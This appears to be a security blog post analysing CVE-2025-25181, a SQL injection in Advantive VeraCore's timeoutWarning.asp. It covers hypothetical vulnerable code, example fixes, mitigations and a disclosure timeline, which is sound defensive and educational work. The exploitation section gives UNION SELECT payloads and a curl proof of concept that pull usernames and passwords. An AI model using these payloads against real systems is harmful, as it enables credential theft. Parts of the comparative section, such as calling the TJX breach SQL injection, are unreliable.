SQLi

CVE-2025-25181: Advantive VeraCore SQL Injection Vulnerability Deep Dive

Robert Morgan

Robert Morgan

— 9 min read

Executive Summary

CVE-2025-25181 is a SQL injection vulnerability affecting Advantive VeraCore versions up to 2025.1.0. The vulnerability resides in the timeoutWarning.asp file and can be exploited by remote attackers to execute arbitrary SQL commands through the PmSess1 parameter. Successful exploitation can lead to unauthorized access to sensitive data, potentially including user credentials and other confidential information stored within the VeraCore database. This vulnerability has been actively exploited by the XE Group, a known cybercriminal organization, highlighting the importance of applying available mitigations or discontinuing the use of the product if mitigations are unavailable, as advised by CISA.

Technical Details

  • Vulnerability Name: Advantive VeraCore SQL Injection
  • CVE ID: CVE-2025-25181
  • Affected Software: Advantive VeraCore
  • Affected Versions: Up to and including 2025.1.0 (excluding 2025.1.1.3)
  • Vulnerability Location: timeoutWarning.asp
  • Attack Vector: Remote, via HTTP GET request
  • Parameter: PmSess1
  • CWE: CWE-89 (SQL Injection)
  • CVSS v3.1 Score: 7.5 (HIGH) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVSS v3.1 Score (Secondary): 5.8 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

The vulnerability exists because the timeoutWarning.asp script does not properly sanitize user-supplied input passed through the PmSess1 parameter before using it in an SQL query. This allows an attacker to inject malicious SQL code into the query, potentially bypassing authentication, extracting data, or even modifying the database.

Root Cause Analysis

The root cause of CVE-2025-25181 is the lack of proper input validation and sanitization in the timeoutWarning.asp file. The script directly incorporates the value of the PmSess1 parameter into an SQL query without any filtering or escaping. This allows an attacker to inject arbitrary SQL code by crafting a malicious PmSess1 value.

The vulnerable code snippet (hypothetical, as the actual code is not publicly available, but based on the vulnerability description) within timeoutWarning.asp might look something like this:

<%
  Dim PmSess1, SQLQuery, rs

  PmSess1 = Request.QueryString("PmSess1")

  SQLQuery = "SELECT * FROM Sessions WHERE SessionID = '" & PmSess1 & "'"

  Set rs = Server.CreateObject("ADODB.Recordset")
  rs.Open SQLQuery, YourDatabaseConnection, adOpenStatic, adLockReadOnly
  ' ... rest of the code ...
%>

In this example, the value of PmSess1 is directly concatenated into the SQLQuery string. An attacker can exploit this by providing a PmSess1 value that includes SQL injection payloads.

For example, an attacker could use the following payload:

PmSess1=1' OR '1'='1

This would result in the following SQL query:

SELECT * FROM Sessions WHERE SessionID = '1' OR '1'='1'

The OR '1'='1' condition will always evaluate to true, effectively bypassing the SessionID check and potentially returning all rows from the Sessions table.

A more sophisticated attack could involve extracting data from other tables or even executing arbitrary SQL commands. For instance, to extract the username from a Users table, an attacker could use a payload like this:

PmSess1=1' UNION SELECT username FROM Users WHERE '1'='1

This would result in the following SQL query:

SELECT * FROM Sessions WHERE SessionID = '1' UNION SELECT username FROM Users WHERE '1'='1'

This query would attempt to combine the results of the original query with the results of a query that selects usernames from the Users table. While the data types might not perfectly align, depending on the database system and application logic, this could still leak sensitive information.

Patch Analysis

Unfortunately, a specific code patch for CVE-2025-25181 is not publicly available. However, based on common SQL injection mitigation techniques, a theoretical patch would involve properly sanitizing the PmSess1 parameter before using it in the SQL query.

A possible fix would involve using parameterized queries or escaping special characters in the input string. Here's an example of how to implement a parameterized query in ASP (note: this is a simplified example and may require adjustments based on the specific database system and connection object):

<%
  Dim PmSess1, SQLQuery, rs, cmd

  PmSess1 = Request.QueryString("PmSess1")

  Set cmd = Server.CreateObject("ADODB.Command")
  cmd.ActiveConnection = YourDatabaseConnection
  cmd.CommandText = "SELECT * FROM Sessions WHERE SessionID = ?"
  cmd.CommandType = adCmdText

  cmd.Parameters.Append cmd.CreateParameter("SessionID", adVarChar, adParamInput, 255, PmSess1)

  Set rs = cmd.Execute
  ' ... rest of the code ...
%>

In this example, a parameterized query is used. The ? placeholder in the CommandText is replaced with the value of PmSess1 through the Parameters.Append method. This ensures that the database driver properly escapes any special characters in PmSess1, preventing SQL injection.

Alternatively, if parameterized queries are not feasible, the input string can be manually escaped. Here's an example of how to escape special characters in ASP:

<%
  Dim PmSess1, SQLQuery, rs

  PmSess1 = Replace(Request.QueryString("PmSess1"), "'", "''") ' Escape single quotes

  SQLQuery = "SELECT * FROM Sessions WHERE SessionID = '" & PmSess1 & "'"

  Set rs = Server.CreateObject("ADODB.Recordset")
  rs.Open SQLQuery, YourDatabaseConnection, adOpenStatic, adLockReadOnly
  ' ... rest of the code ...
%>

In this example, the Replace function is used to replace all single quotes (') in PmSess1 with two single quotes (''). This is a common technique for escaping single quotes in SQL queries. However, this approach is less secure than using parameterized queries and may not be sufficient to prevent all types of SQL injection attacks. It's crucial to escape all potentially dangerous characters based on the specific database system being used.

Important Note: These are theoretical fixes. The actual patch implemented by Advantive may differ. It's recommended to consult the official Advantive security advisory for the specific details of the patch.

Exploitation Techniques

An attacker can exploit CVE-2025-25181 by sending a crafted HTTP GET request to the timeoutWarning.asp file with a malicious PmSess1 parameter.

Here's a step-by-step example of how an attacker could exploit this vulnerability:

  1. Identify the Vulnerable Endpoint: The attacker identifies the timeoutWarning.asp file as the vulnerable endpoint.

  2. Craft the Malicious Payload: The attacker crafts a malicious SQL injection payload to extract data from the database. For example:

    PmSess1=1' UNION SELECT username, password FROM Users WHERE '1'='1

  3. Send the HTTP GET Request: The attacker sends an HTTP GET request to the vulnerable endpoint with the malicious payload:

    GET /timeoutWarning.asp?PmSess1=1' UNION SELECT username, password FROM Users WHERE '1'='1 HTTP/1.1
Host: vulnerable.example.com

  4. Analyze the Response: The attacker analyzes the response from the server to extract the injected data. The injected data may be displayed directly in the response or may be used to modify the behavior of the application.

Proof of Concept (PoC) Example:

The following is a simplified PoC demonstrating the vulnerability using curl:

curl "http://vulnerable.example.com/timeoutWarning.asp?PmSess1=1'%20UNION%20SELECT%20username,%20password%20FROM%20Users%20WHERE%20'1'='1"

This command sends an HTTP GET request to the timeoutWarning.asp file with the malicious PmSess1 parameter. The response from the server may contain the usernames and passwords from the Users table.

Attack Scenarios:

  • Data Breach: An attacker could extract sensitive data from the VeraCore database, including user credentials, customer information, and financial data.
  • Account Takeover: An attacker could use stolen user credentials to gain unauthorized access to VeraCore accounts.
  • Privilege Escalation: An attacker could use SQL injection to elevate their privileges within the VeraCore application.
  • Denial of Service (DoS): An attacker could use SQL injection to execute resource-intensive queries that overload the database server, leading to a denial of service.
  • Remote Code Execution (RCE): In some cases, depending on the database system and configuration, an attacker could use SQL injection to execute arbitrary code on the database server.

Real-World Impacts:

The exploitation of CVE-2025-25181 could have significant real-world impacts, including:

  • Financial Loss: Data breaches can result in significant financial losses due to regulatory fines, legal fees, and reputational damage.
  • Reputational Damage: A successful attack can damage the reputation of Advantive and its customers.
  • Business Disruption: A denial-of-service attack can disrupt business operations and lead to lost revenue.
  • Legal and Regulatory Consequences: Data breaches can result in legal and regulatory consequences, including fines and lawsuits.

Mitigation Strategies

To mitigate the risk of CVE-2025-25181, the following strategies are recommended:

  1. Apply the Patch: The most effective mitigation is to apply the security patch released by Advantive. Upgrade VeraCore to version 2025.1.1.3 or later.

  2. Input Validation and Sanitization: Implement robust input validation and sanitization on all user-supplied input, especially the PmSess1 parameter in timeoutWarning.asp. Use parameterized queries or properly escape special characters in the input string.

  3. Web Application Firewall (WAF): Deploy a web application firewall (WAF) to detect and block SQL injection attacks. Configure the WAF to inspect HTTP requests for malicious SQL code.

  4. Principle of Least Privilege: Grant users only the minimum privileges necessary to perform their tasks. This can limit the impact of a successful SQL injection attack.

  5. Regular Security Audits: Conduct regular security audits of the VeraCore application to identify and address potential vulnerabilities.

  6. Database Security Hardening: Implement database security hardening measures, such as disabling unnecessary stored procedures and limiting network access to the database server.

  7. Intrusion Detection and Prevention Systems (IDPS): Deploy intrusion detection and prevention systems (IDPS) to monitor network traffic for malicious activity. Configure the IDPS to detect and block SQL injection attacks.

  8. Disable Unnecessary Features: If the upload feature is not essential, consider disabling it as a temporary mitigation, as suggested by the vendor's initial response to CVE-2024-57968.

Configuration Changes:

  • Database Connection String: Ensure that the database connection string uses the principle of least privilege. The connection should only have the necessary permissions to perform the required operations.
  • Error Handling: Configure the application to handle database errors gracefully. Avoid displaying sensitive database information in error messages.
  • Logging: Enable detailed logging to track user activity and potential security incidents.

Security Best Practices:

  • Secure Coding Practices: Follow secure coding practices to prevent SQL injection and other common web application vulnerabilities.
  • Regular Security Training: Provide regular security training to developers and system administrators.
  • Vulnerability Scanning: Use vulnerability scanning tools to identify potential vulnerabilities in the VeraCore application.
  • Penetration Testing: Conduct regular penetration testing to simulate real-world attacks and identify weaknesses in the security posture.

Alternative Solutions:

If patching is not immediately possible, consider the following alternative solutions:

  • Disable the timeoutWarning.asp file: If the timeoutWarning.asp file is not essential, consider disabling it to prevent exploitation of the vulnerability.
  • Implement a custom input validation filter: Implement a custom input validation filter to sanitize the PmSess1 parameter before it is used in the SQL query. This filter should escape all potentially dangerous characters.

Timeline of Discovery and Disclosure

  • 2024-11-06: Vendor notified by victim via support ticket.
  • 2024-11-13: Vendor released update removing vulnerable upload feature (related to CVE-2024-57968).
  • 2024-11-29: Contacted the vendor.
  • 2024-12-02: Second attempt to contact the vendor.
  • 2024-12-04: Submitted a report to CERT/CC.
  • 2024-12-05: Email sent directly to a security person at the vendor.
  • 2024-12-17: Case accepted by CERT/CC.
  • 2024-12-17: Call with the vendor.
  • 2024-12-17: Logs shared with the vendor showing the exploitation of the vulnerabilities.
  • 2024-12-19: Follow up email sent to the vendor with more details on the vulnerabilities.
  • 2024-12-20: CERT/CC tried to contact the vendor.
  • 2025-01-16: Vendor emailed requesting CERT/CC resending access email.
  • 2025-01-16: CERT/CC re-sent the access email to the vendor.
  • 2025-01-22: CVEs requested from Mitre.
  • 2025-01-30: CERT/CC recommended public disclosure.
  • 2025-01-31: 45 days since the disclosure to the vendor.
  • 2025-02-03: Public disclosure.
  • 2025-02-03: CVE numbers issued by Mitre.
  • 2025-03-10: CISA adds CVE-2025-25181 to the KEV catalog.
  • 2025-03-31: CISA action due date.

References

Comparative Analysis

CVE-2025-25181 is similar to many other SQL injection vulnerabilities that have been discovered in web applications over the years. SQL injection is a well-known and widely exploited vulnerability, and it remains a significant threat to web application security.

Some notable examples of similar past vulnerabilities include:

  • SQL Slammer (2003): This worm exploited a buffer overflow vulnerability in Microsoft SQL Server to spread rapidly across the internet, causing widespread network congestion and disruption.
  • Heartland Payment Systems Breach (2008): This breach was caused by an SQL injection attack that allowed attackers to steal credit card data from Heartland Payment Systems.
  • TJX Companies Breach (2007): This breach was also caused by an SQL injection attack that allowed attackers to steal credit card data from TJX Companies.

These past vulnerabilities highlight the importance of implementing proper security measures to prevent SQL injection attacks. Over the years, security practices have evolved to address this threat. These include:

  • Parameterized Queries: The widespread adoption of parameterized queries has significantly reduced the risk of SQL injection.
  • Input Validation and Sanitization: Improved input validation and sanitization techniques have made it more difficult for attackers to inject malicious SQL code.
  • Web Application Firewalls (WAFs): WAFs have become an essential tool for detecting and blocking SQL injection attacks.
  • Security Training: Increased security training for developers has helped to raise awareness of SQL injection and other common web application vulnerabilities.

Despite these improvements, SQL injection remains a persistent threat. Attackers are constantly developing new techniques to bypass security measures, and it is essential to stay vigilant and implement robust security practices to protect web applications from SQL injection attacks.

This vulnerability, being actively exploited by a known threat actor like XE Group, underscores the need for continuous monitoring, proactive threat hunting, and rapid patching cycles in modern software development and deployment. The evolution of threat actors from simple credit card skimming to sophisticated zero-day exploitation highlights the dynamic nature of the cybersecurity landscape and the importance of adapting security strategies accordingly.

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